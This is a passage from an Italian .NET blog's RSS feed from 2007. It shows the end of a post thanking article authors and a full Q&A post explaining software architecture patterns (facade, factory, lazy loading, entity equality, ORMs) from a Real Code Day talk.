parte&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;19/12/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Localizzazione e globalizzazione di applicazioni web - Prima parte&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;05/12/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;ASP.NET AJAX Beta 2: intervista a Shawn Burke&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;21/11/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;BuildProvider, ExpressionBuilder e VirtualPathProvider&lt;/strong&gt;&lt;br /&gt;Cristian Civera - Microsoft MVP&lt;br /&gt;07/11/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Programmazione orientata agli oggetti - Seconda parte&lt;/strong&gt;&lt;br /&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;24/10/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Programmazione orientata agli oggetti - Prima parte&lt;/strong&gt;&lt;br /&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;10/10/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Personalizzazione dell'utente con le Profile API di ASP.NET 2.0&lt;/strong&gt;&lt;br /&gt;Daniele Bochicchio - Microsoft MVP&lt;br /&gt;26/09/2006&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Colgo l'occasione per ringraziare tutti gli autori per il loro prezioso contributo, senza il quale la sezione articoli non potrebbe esistere, nè avere tutto il seguito che è testimoniato dal numero delle letture, sempre molto alto indipendentemente dall'argomento trattato. &lt;strong&gt;GRAZIE A TUTTI!&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Inoltre colgo l'occasione per rammentare che chiunque avesse voglia di contribuire con un proprio articolo può contattarci via mail a &lt;em&gt;&lt;strong&gt;collabora_at_aspitalia_dot_com&lt;/strong&gt;&lt;/em&gt;. Saremo ben felici di poter valutare e pubblicare insieme a voi i vostri articoli.&lt;/p&gt; &lt;p&gt;Infine ricordo che le pubblicazioni riprenderanno dopo l'estate, presumibilmente nel mese di settembre.&lt;/p&gt; &lt;p&gt;Per intanto buone vacanze a tutti. Ci si legge dopo l'estate.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx</guid><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2080.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2080</trackback:ping></item><item><title>Domande dal Real Code Day 2</title><link>http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx</link><pubDate>Fri, 01 Jun 2007 13:50:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2068' border="0" style="width:1px; height:1px;" /&gt;&lt;p /&gt;&lt;p&gt;Qualche giorno fa mi è arrivata una mail di domande riferite alla sessione architetturale che ho avuto modo di tenere recentemente all'evento di Firenze, il Real Code Day 2. L'autore della mail è Andrea Angella, studente di ingegneria informatica all'Università di Pisa. Dal momento che la mail è bella corposa e affronta molti aspetti, credo che la risposta possa essere di interesse pubblico, considerando anche il grande numero di mail che oltre a questa mi sono giunte con richieste di chiarimenti e approfondimenti. Le domande si riferiscono all'applicazione scritta in diretta durante la sessione e disponibile all'indirizzo: &lt;a href="http://www.dotnetcircle.it/firenze07.aspx"&gt;http://www.dotnetcircle.it/firenze07.aspx&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; il testo della mail è in italico, le domande sono in grassetto, infine le risposte sono in testo normale.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho seguito con molta attenzione la sessione che hai fatto a Firenze sull'architettura (diciamo che quella ero uno degli scopi principali per cui ero venuto al Real Code Day 2) e dopo aver analizzato il codice della soluzione vorrei farti alcune domande:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho visto che utilizzi il pattern &lt;b&gt;Abstract Factory&lt;/b&gt; per costruire istanze concrete (con o senza cache) di &lt;b&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt; come per esempio &lt;b&gt;AuthorService &lt;/b&gt;e &lt;b&gt;AuthorCacheService. &lt;/b&gt;Lo scopo di queste classi è interagire con il DAL per ottenere istanze di &lt;b&gt;Author &lt;/b&gt;o &lt;b&gt;AuthorCollection &lt;/b&gt;a seconda che sia stato invocato ReadSingle() o ReadAll(). Il livello UI poi utilizzerà la classe &lt;b&gt;Authors &lt;/b&gt;come fonte di informazioni da inserire ad esempio all'interno del controllo GridView. Per accedere ai libri invece la UI utilizza la classe &lt;b&gt;Books &lt;/b&gt;che offre diversi metodi per effettuare ricerche e che al suo interno sfrutta le classi &lt;b&gt;BookService &lt;/b&gt;o &lt;b&gt;BookCacheService&lt;/b&gt; che implementano l'interfaccia &lt;b&gt;ILazyService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt; che a sua volta implementa l'interfaccia &lt;b&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;b&gt;1) Puoi spiegarmi meglio le relazioni per esempio tra le classi BookService e Books? &lt;/b&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Books&lt;/em&gt; è una classe di facciata (facade) che ha lo scopo di instradare le richieste ai servizi applicativi interni mascherando all'utilizzatore i dettagli della chiamata del servizio. Tutti i servizi implementano l'interfaccia &lt;em&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/em&gt; e vengono instanziati all'interno delle classi di facciata in base ai parametri di chiamata dei metodi.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;em&gt;2) Quali vantaggi mi offre questa gerarchia un pò intricata? &lt;/em&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Il vantaggio è quello di poter gestire la complessità in modo mirato, ripartendo le responsabilità tra più oggetti. L'alternativa sarebbe quella di avere una serie di oggettoni (uno per tipologia) che fanno tutto, che hanno una serie di comportamenti statici e predefiniti (non modificabili senza che la cosa abbia ripercussione altrove) e che siano fonte di un forte accoppiamento. In termini di manutenibilità e flessibilità la struttura ad oggetti presentata dà grossi vantaggi e permette di creare un meccanismo di isolamento e protezione del codice, evitando ripercussioni in caso di modifica.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;b&gt;3) In cosa consiste e come funziona il LazyLoad ?&lt;/b&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In certi frangenti può esistere la necessità di voler caricare parzialmente le informazioni di una classe, magari perchè sono particolarmente onerose in termini di occupazione di memoria. In tali casi si può scegliere di operare un caricamento dilazionato, in base al quale i dati &amp;quot;pesanti&amp;quot; vengano caricati solo nel momento in cui effettivamente sono utilizzati. Il Lazy Loading consiste proprio in questo. L'entità a caricamento parziale è &lt;em&gt;LazyBook&lt;/em&gt; che sta nel BLL per non creare accoppiamento con lo strato di accesso ai dati. In &lt;em&gt;LazyBook&lt;/em&gt; la proprietà &lt;em&gt;Authors&lt;/em&gt; carica gli autori all'interno del metodo protetto &lt;em&gt;LoadAuthors&lt;/em&gt;, chiamando un metodo specifico all'interno del DAL.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;4) Perchè creare IServiceFactory e poi la classe concreta ServiceFactory? Dovrebbe essere implementata come una classe Singleton?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;La classe &lt;em&gt;ServiceFactory&lt;/em&gt; è singleton e usa internamente un riferimento privato di tipo &lt;em&gt;IServiceFactory&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;5) Qual è l'utilità di creare e utilizzare l'attributo EntityTypeAttribute per decorare le classi Entity? in che parte del codice viene utilizzato EntityType della classe base Entity?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Come ho avuto modo dire a Firenze, la caratteristica principale delle entità è quella di essere provviste di una identità (ID). Non tutti gli oggetti dell'Object Model sono provvisti di identità, infatti non tutti gli oggetti sono necessariamente entità, come per esempio &lt;em&gt;Price&lt;/em&gt; (in tal caso si chiamano value object). Oltre all'identità occorre fornire un meccanismo di confronto tra le istanze di entità. Per fare questo occorre fare l'override del metodo &lt;em&gt;Equals&lt;/em&gt; di &lt;em&gt;Object&lt;/em&gt;. Se ponessimo il metodo &lt;em&gt;Equals&lt;/em&gt; in ogni classe entità, avremmo la stessa implementazione ripetuta n volte. Ha quindi senso considerare l'opportunità di creare un supertipo &lt;em&gt;Entity&lt;/em&gt; dove inserire la proprietà &lt;em&gt;ID&lt;/em&gt; e il metodo &lt;em&gt;Equals&lt;/em&gt;. Dal momento che due entità di tipo diverso possono avere lo stesso ID, occorre poter identificare la tipologia dell'entità oltre al suo ID. L'uguaglianza sarà data dalla coincidenza di ID e tipologia. Associando un attributo custom ad ogni entità, è possibile marcarla in modo distinguibile. La proprietà &lt;em&gt;EntityType&lt;/em&gt; di &lt;em&gt;Entity&lt;/em&gt; legge gli attributi custom dell'entità e ricava in questo modo la tipologia. La stessa cosa può essere ottenuta inserendo nel tipo &lt;em&gt;Entity&lt;/em&gt; una proprietà astratta da implementare obbligatoriamente in ogni tipo derivato affinchè ritorni un valore distinguibile.&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho visto che hai creato un classe PageBase attraverso la quale costruire le varie pagine. Essa permette di implementare un meccanismo comune per la validazione della querystring.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;6) Puoi spiegarmi in particolare come funziona il metodo Validate() e quali classi ed attributi nella cartella Validation entrano in gioco ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Quello di validazione è un servizio infrastrutturale dell'applicazione che permette di gestire in modo automatico la validazione della QueryString associata ad una richiesta HTTP. Il servizio sfrutta una serie di attributi custom per definire le modalità di validazione e, in base ai valori ottenuti dalle operazioni di verifica, decide quali azioni intraprendere in caso di input non valido. In questo caso l'utilizzatore del servizio di validazione è la classe &lt;em&gt;PageBase&lt;/em&gt;, ma avrebbe potuto tranquillamente essere utilizzato un &lt;em&gt;HttpModule&lt;/em&gt; specifico. L'implementazione del modulo è spiegata nell'&lt;a onclick="function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
blankUrl(this.href); return false;
}
}
}
}
}
}
}" href="http://www.aspitalia.com/articoli/asp.net2/httpmodules.aspx"&gt;articolo di Stefano Mostarda&lt;/a&gt; pubblicato recentemente su ASPItalia.com.&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho avuto modo di utilizzare il designer dei dataset tipizzati di VS2005 e l'ho trovato molto interessante. Ho sviluppato un'applicazione windows form utilizzando il modello a oggetti offerto dal designer e dai TableAdapter ma ho da subito notato la scarsa flessibilità dello stesso soprattutto di fronte a modifiche anche lievi al database nonchè la lentezza. Io in pratica ho usato una sorta di architettura a due livelli DAL + UI che utilizza direttamente istanze di TableAdapter. Avevo visto tempo fà articoli che proponevano soluzioni di questo tipo in ASP.NET. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;5) Cosa pensi a riguardo di questa possibilità? &lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Non sono un grande amante dei container di dati quali sono &lt;em&gt;DataSet&lt;/em&gt; e &lt;em&gt;DataTable&lt;/em&gt;, ma è innegabile che in talune circostanze sono davvero utili. In termini di praticità i container di dati di ADO.NET sono ottimi, non si può dire la stessa cosa in termini di performance, anche se rispetto alla versione 1.x sono stati migliorati.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;6) In Orcas sono stati fatti miglioramenti?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Vedi la risposta alla domanda 7.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;7) Inoltre in cosa consiste la tecnologia LINQ che sento tanto spesso nominare e quali vantaggi permette di ottenere?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Ti rimando agli articoli dedicati al .NET Framework 3.5 che usciranno nei prossimi giorni su ASPItalia.com e WinFXItalia.com in occasione dello &lt;a onclick="function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
blankUrl(this.href); return false;
}
}
}
}
}
}
}" href="http://www.aspitalia.com/focuson/967/speciale-.net-framework-3.5-giugno.aspx"&gt;speciale dedicato ad Orcas&lt;/a&gt;. Tra gli articoli ce n'è uno dedicato alle query expressions (LINQ).&lt;br /&gt;&lt;em&gt;&lt;br /&gt;Ho sentito che è molto diffuso l'utilizzo di uno strumento come NHibernate per la costruzione di un modello a oggetti sul DB. (Premetto che non l'ho mai utilizzato sò solo cosa permette di fare)&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;8) Utilizzando la tua architettura quali vantaggi offrirebbe il suo utilizzo e quali modifiche richiederebbe?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Un ORM consente la mappatura tra i dati e le entità del dominio applicativo, fornisce funzionalità avanzate per l'accesso ai dati e la gestione della persistenza, include meccanismi quali la gestione di contesti transazionali (UoW), la gestione del caricamento parziale dei dati (Lazy Loading) e l'ottimizzazione nel fetching e nell'updating. NHibernate è sicuramente l'ORM più apprezzato e usato dagli sviluppatori .NET, molto indicato (se non indispensabile) quando l'approccio è quello che è conosciuto come Domain Model, dove la rappresentazione in memoria delle informazioni necessita di efficienza e di ottimizzazioni continue. In generale per le applicazioni web trovo l'uso degli ORM meno vantaggioso di quanto non sia con le applicazioni Windows. In ogni caso occhio sempre all'over-engineering e alle performance.&lt;br /&gt;&lt;em&gt;&lt;br /&gt;Infine una semplice domanda di stile di codifica:&lt;br /&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;9) Perchè tu come molti altri utilizzate _ per indicare i membri privati di un oggetto? &lt;/em&gt;&lt;em&gt;A me non piace molto vorrei sapere se ci sono alternative o se riesci a convincermi che è opportuno fare così.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Utilizzo l'underscore per i campi privati per due motivi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;elimina qualsiasi possibile ambiguità di naming con gli eventuali parametri di un metodo (sia campi che parametri usano la camel notation); &lt;/li&gt;&lt;li&gt;permette di non utilizzare la keyword &amp;quot;this&amp;quot; rappresentando di fatto un suo alias e una &amp;quot;scorciatoia&amp;quot;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;OK, io mi fermerei qui... ;) Spero di aver aver risposto esaurientemente alle domande. Un saluto e un ringraziamento a tutti coloro che mi hanno scritto in questi giorni per farmi domande relative a quanto visto al Real Code Day 2. Alla prossima...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx</guid><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2068.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2068</trackback:ping></item></channel></rss>